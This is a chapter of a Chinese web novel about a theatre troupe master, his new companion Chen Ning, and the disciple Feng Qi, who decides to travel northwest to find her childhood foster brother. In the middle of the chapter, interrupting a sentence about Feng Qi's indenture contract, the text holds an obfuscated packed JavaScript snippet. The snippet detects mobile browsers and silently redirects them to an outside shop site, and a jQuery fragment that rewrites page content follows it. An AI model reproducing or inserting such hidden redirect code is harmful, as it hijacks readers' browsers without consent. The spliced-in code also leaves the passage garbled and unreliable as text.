廖维音闻言,抬手轻轻拂开她鬓边散落的碎发,为她将银簪绾入发髻。指尖动作轻柔,生怕惊扰了眼前人。
“还行吧?”陈宁问。
“很合适。”
“我这半生孤苦,从未娶妻。如今年岁已长,只求余生得一良人相伴,岁岁安稳。你……莫要嫌弃我才是。”
陈宁性子坦荡洒脱:“咱两个谁也别嫌弃谁。我不嫌弃你年岁偏高,身属贱籍。你也别嫌弃我是寡妇,此生或许无福生养儿女。”
“咱两个就搭伙过日子,我这人性子直,要是有让你不舒服的,你就直说,别整那些弯弯绕绕的让我猜,我可猜不透。”
那句“生不出孩子”,是她刻意道出的试探。她半生坎坷,早已不敢轻信人心,若是廖维音因此心生嫌弃,她便即刻拔簪归还,再不谈情分。
廖维音闻言,语气笃定温柔:“我不嫌弃。待明日,我随你去你亡夫坟前,一同祭拜,替你告慰故人。”
寥寥数语,胜过千言万语。陈宁心里面一暖,爽朗应声:“好!”
此刻,帘外传来两声轻浅的咳嗽,凤七悄悄掀开棉帘,探进半个脑袋:“往后我可要提前改口,叫一声师娘啦!”
廖维音无奈笑着,刚要开口说话,凤七就一溜烟跑到陈宁身后,扒着她的衣袖:“有师娘给我撑腰,往后师父罚我,我就告诉师娘!”
陈宁被她逗得笑意盈盈,手上洗着酸白菜,随口笑着吩咐:“既如此,师娘现在给你派个活,去把案板上的肉馅剁了。”
说话间,她抬眼瞥见门口立着的何生。少年垂着眉眼,肩背微塌,陈宁一眼就看出这是被凤七婉拒了。
她贴心解围,扬声开口:“想吃热乎饺子可不能偷懒。何生,你去后院劈点柴来。”
何生转身默默走出灶房。
待他身影走远,陈宁切菜的动作停下,压低声音看向身侧的凤七,直言问道:“方才他同你表明心意,你拒绝了?”
凤七轻轻点头:“嗯。”
“你当真一点都不喜欢他?我觉得何生这孩子是个不错的,值得托付,他爹也是个实诚人。”陈宁追问。
“我与师兄从小一起长大,太熟太亲了。”凤七低着头剁着肉馅,“相处十多年,实在生不出儿女情长。我当真没法勉强自己。”
陈宁闻言了然:“倒也是,太熟了不好偎红倚翠。”
这般直白的话,瞬间让凤七脸颊发烫,羞得连忙低头,飞快瞥了一眼一旁烧火的廖维音,小声提醒:“师父还在呢。”
所幸廖维音正低头照看灶火,柴火噼啪作响,并未听清二人的低语,只专注拢着灶间暖意。
一场告白,一次婉拒,并未在何生与凤七之间留下隔阂。多年的情谊澄澈纯粹,丝毫未被儿女心事沾染半分尴尬。
屋内烟火温热,笑语盈盈。屋外风雪渐盛,漫天飞雪笼罩整座凤鸣楼,天地一片素白苍茫。
凤七缓步走到门口,倚着木门框,望着漫天飞舞的白雪。
“原来这就是书中的鹅毛大雪。”她轻声呢喃。
这是她此生第二次见雪。上一次落雪,还是在遥远的西北荒原。那年风雪漫天,她牵着一个咿呀学语的小小身影,在院中踩雪嬉戏,落雪沾满二人发梢眉眼,岁岁记忆,清晰如昨。
风雪簌簌,吹开层层尘封的记忆,西北旧时光景,缓缓在脑海中铺展开来——
荒凉的西北小院。
“姐姐,你吃!”瘦小的小男孩踮着脚尖,高高举着一枚白嫩嫩的水煮蛋。
“姐姐吃肉肉!”
“鸡腿香香,姐姐吃!”
那时王氏夫妇待她刻薄,动辄打骂,日子过得步步艰难。可每当她被责罚时,尚且年幼的小弟弟总会扑过来护在她身前:“别打姐姐!姐姐疼!”
她至今清晰记得,离开那日,小小的孩童站在院中,撕心裂肺地哭喊,一声声姐姐,唤得人心头发酸。那道单薄无助的小小身影,成了她多年来心底最放不下的牵挂。
年少时她曾暗暗许诺,待来日自己站稳脚跟,闯出一番天地,就回去接小弟弟。可时过境迁,已经十多年过去了,那个她记忆中的小弟弟会是什么样子呢?
念及此处,凤七眼底漫起坚定的微光。她默默在心底盘算起来。
凤鸣楼每至年关岁末,总会准许楼中众人返乡探亲,归家团圆。如今的她,手里攒下了一些银钱,若是回去看望接济一下也是足够的。
大片雪花落在她掌心,微凉的触感让她心意愈发笃定。待到岁末冬日,她便启程回一趟西北,去寻那个惦念许久的小弟弟。
“快进去吃饺子吧,熟了!”陈宁走过来提醒。
凤七回过神礼貌回应,面上略带愁容之色。
陈宁关心道:“是因为何生?”
她摇摇头并未多言,陈宁也默契地闭嘴不再问。
厅堂的木桌上,摆着各式各样的饺子。圆润饱满的白面皮裹着紧实馅料,个个白胖胖,圆滚滚的,冒着热气,光是看着就让人食欲大增。
何慎先夹起一个肉馅儿的尝了一口,肉香在口腔蔓延开来,馅料呈肉丸状态,一咬爆汁。他连连点头:“这饺子味儿真不错,还得是陈娘子厉害。”
陈宁大方招呼:“好吃就多吃些,我包了很多,在外边冻着呢,想吃随时煮。”
凤七乖乖在廖维音身侧落座,端着碗筷低头吃饺子。她心中暗自斟酌好几遍,最终鼓起勇气,看向身侧的师父:“师父,我想在年前休假半月。”
她心底清楚,凤鸣楼每年年关戏排是非常满的,全年之中,唯有腊月二十九能得短短几日清闲。平日里师父规矩森严,从不轻易准长假,此番自己张口便是半月假期,甚至心底还悄悄奢望过能凑足一月,本就没抱多少应允的指望。话说出口,她也没太多期许,做好了被拒绝的准备。
廖维音侧目看向她,语气平和无波:“突然要休假,是有要紧事要办?”
凤七认真点头:“师父可还记得我从前的养父母家?”
“家里有个小弟弟,小名叫康康。当时离家时年纪小,只记得这个小弟弟。养母应当是姓王。”
提及那个幼时护着自己的小不点,她眼底漫起牵挂:“我想回去一趟,看看他。”
说着,她主动抬手,给廖维音夹起一个饺子:“小时候是我一直带着他长大,他跟我最亲,小小年纪就懂得护着我。我当年被迫离家,走之前亲口许诺过,等我在外站稳脚跟,就一定回去找他。如今我算安稳下来,有了些许能力,想回去瞧瞧。”
廖维音闻言并未着急做出回应。他思考半晌,低声细细思忖:“你离开西北到如今,算下来,约莫有十一二年了。”
“嗯。”凤七应声,“估摸着他也就十五六岁的年纪,具体生辰年岁,我记不太真切了。”
廖维音缓缓放下手中碗筷,抬眸看向她,神色郑重:“你随我出来一下。”
一旁的何生刚拿起筷子,见状不由得疑惑开口:“这才刚吃上,怎么就不吃了?”
“我同凤七说几句排戏的要紧事,已经吃饱了。”话音落,率先抬步朝外走去。
凤七连忙应声跟上,师徒二人一前一后,踏着漫天风雪走向后院僻静的厢房。
屋外落雪愈发厚重,皑皑白雪已经没过脚面,每一步踩下去,都会发出清脆细碎的咯吱声响。寒风卷着碎雪掠过庭院,吹得檐下积雪簌簌坠落。
踏入厢房,隔绝了屋外的风雪寒凉。廖维音熟稔地点燃屋内炭盆,暖红色的炭火渐渐燃起,暖意一点点漫开。他抬手示意凤七落座,自己则转身提起炭炉上的茶壶,一边斟着温热的茶水,一边沉声开口:“那孩子如今十五六岁,早已不是幼童。且他是正经良民户籍,从未经历过你在外的颠沛波折。你贸然回去寻他,若是心性相悖,反倒容易生出隔阂,你该如何?”
他字字句句,皆是为自己这个徒弟考虑,怕她一腔赤诚,最终落得满心失望,徒添伤感。
凤七听明白了师父的意思:“我先试探,若他是个心性好的,那我会留下一些银钱。若是不好的,就自此断了这个念想。”
廖维音抬眼深深看了她一眼,眼底藏着赞许,随即转身走到柜边,打开老旧木柜,从中取出一份叠得整整齐齐的旧纸页。纸张历经十数年岁月浸染,边角微微泛黄发旧,但被保存得完整。
他将纸页展开,递到凤七眼前:“这是你的身契。上面写着的你原籍是西北沙渠县石头村,养父名胡大运,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944980|212178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
养母名王凤。信息都在这里,你自己看看。”
凤七伸手接过薄薄的身契,指尖抚过粗糙泛黄的纸页,看着陌生又熟悉的名字,心头百感交集。
“你若是去,来回路程半月路程恐怕不够。”廖维音再度开口提醒,“西北地界偏远,如今寒冬腊月,沿途多有流民贼人,凶险难测。”
他沉吟片刻,说出心中的打算:“这样,等这场雪停下,化得差不多了,我陪你一同回一趟西北。”
“师父!您年岁已大,这一路山高路远,天寒地冻,太过受罪辛苦。”
她稍稍思忖,又连忙补充道:“楼中许多事情没您不行的。”
廖维音颔首,心底认可她的顾虑。凤鸣楼大小琐事皆需他坐镇,况且他打算过两年将班主之位传给何慎,处处都需要带着他熟悉,确实难以脱身。
他静默思忖片刻:“那让……让陈娘子陪你同往,再带上顺子。我多给顺子备些银钱,安顿好沿途一切。”
“全听师父安排!”凤七眼底瞬间亮起璀璨的光,心头积压多年的惦念终于有了着落,激动得浑身都透着轻快。
“你先去同陈宁好好商量一下,待雪化后即刻启程,尽量赶在年关之前回京,安稳过年。”廖维音温声叮嘱。
凤七心头滚烫,喜悦翻涌不止。她再也按捺不住满心欢喜,上前一步,亲昵地抬手抱住廖维音,语调软糯:“师父,您真是天底下最好的师父,顶顶好的师父!”
廖维音面上故作疏离,带着严肃的嫌弃,心底却暗自乐开了花。
“去去去,没个正形。”他故作不耐地抬手轻挥,语气带着宠溺的嗔怪,“都老大不小的人了,遇事该稳重些,别总这般毛毛躁躁。”
“师父所言极是,徒儿谨记在心。”凤七乖乖应声,眉眼带笑,转身就迫不及待地朝外跑去。
“关门!”
凤七脚步一顿,满脸笑意折返回来,麻利关好房门,随即像只雀跃的小鸟一般,一溜烟跑得没了踪影。
厢房之内重归安静,只剩炭火噼啪轻响。廖维音望着空无一人的门口,无奈又宠溺地轻笑一声。他心中开始盘算所需物资,生怕小姑娘初次远行归乡受冻遇险,又怕路上委屈了陈宁。思虑已定,他起身挪开床榻,拉出床下一只封存多年的实木大箱,小心翼翼从中取出一件上好的貂裘。
这件貂裘料子珍稀,绒毛厚实,是他早年云游四方时所得。当年寒冬旷野,他偶遇一位突发恶疾的老先生,出手搭救。老者感念恩情,便将这件貂裘赠予了他。数十年来,他辗转各地,历经风雨漂泊,一直珍藏,不舍得穿用。如今恰逢隆冬,西北苦寒路远,刚好拿来御寒护暖。
另一边,脚步轻快地一路奔到戏房。此时陈宁刚好用罢饭,正细心整理着架上的戏服。听见急促轻快的脚步声,她抬眸便看见满脸喜色的凤七,不由得笑着打趣:“这么高兴,撞上什么天大的好事了?”
凤七脸上笑意明媚,脱口而出:“陈娘子……不对,是师娘!”
“你这张嘴啊,整天就泡蜜罐里了吧。”陈宁被她逗得眉眼含笑,手上动作不停。
凤七快步上前,亲昵拉着她的手腕坐下,收敛了几分跳脱,认真恳切地说明来意:“师娘,我过些日子想回一趟西北老家。师父楼中事务繁忙,抽不开身,他老人家让我先来问问您。”
“你是想让我陪你一同回去?”
凤七重重点头,眼底满是期待,又连忙补充道:“我还想叫上顺子一起同行!”
生怕陈宁顾虑路途遥远,花销费心,她又急忙补了一句:“师娘您放心,这一路所有的食宿路费,零碎花销,全都由我来出,绝不让您费心破费半分。”
陈宁闻言当即站起身,笑着拍了拍她的手背:“你这孩子,说的是什么见外的话。哪里用得着算得这般清楚。”
她抬手屈指轻轻细数日子:“我活了这么多年,还从未出过远门,刚好趁这个机会陪你走一趟,权当散心游历。顺子会赶车,有他同行,路上有什么力气活他都能干。咱们还能省下一笔雇车夫的银钱,再合适不过。”
额……陈宁这是亲姐姐啊!
“这那你别担心,我去说,你定好出发的日子就行。”
。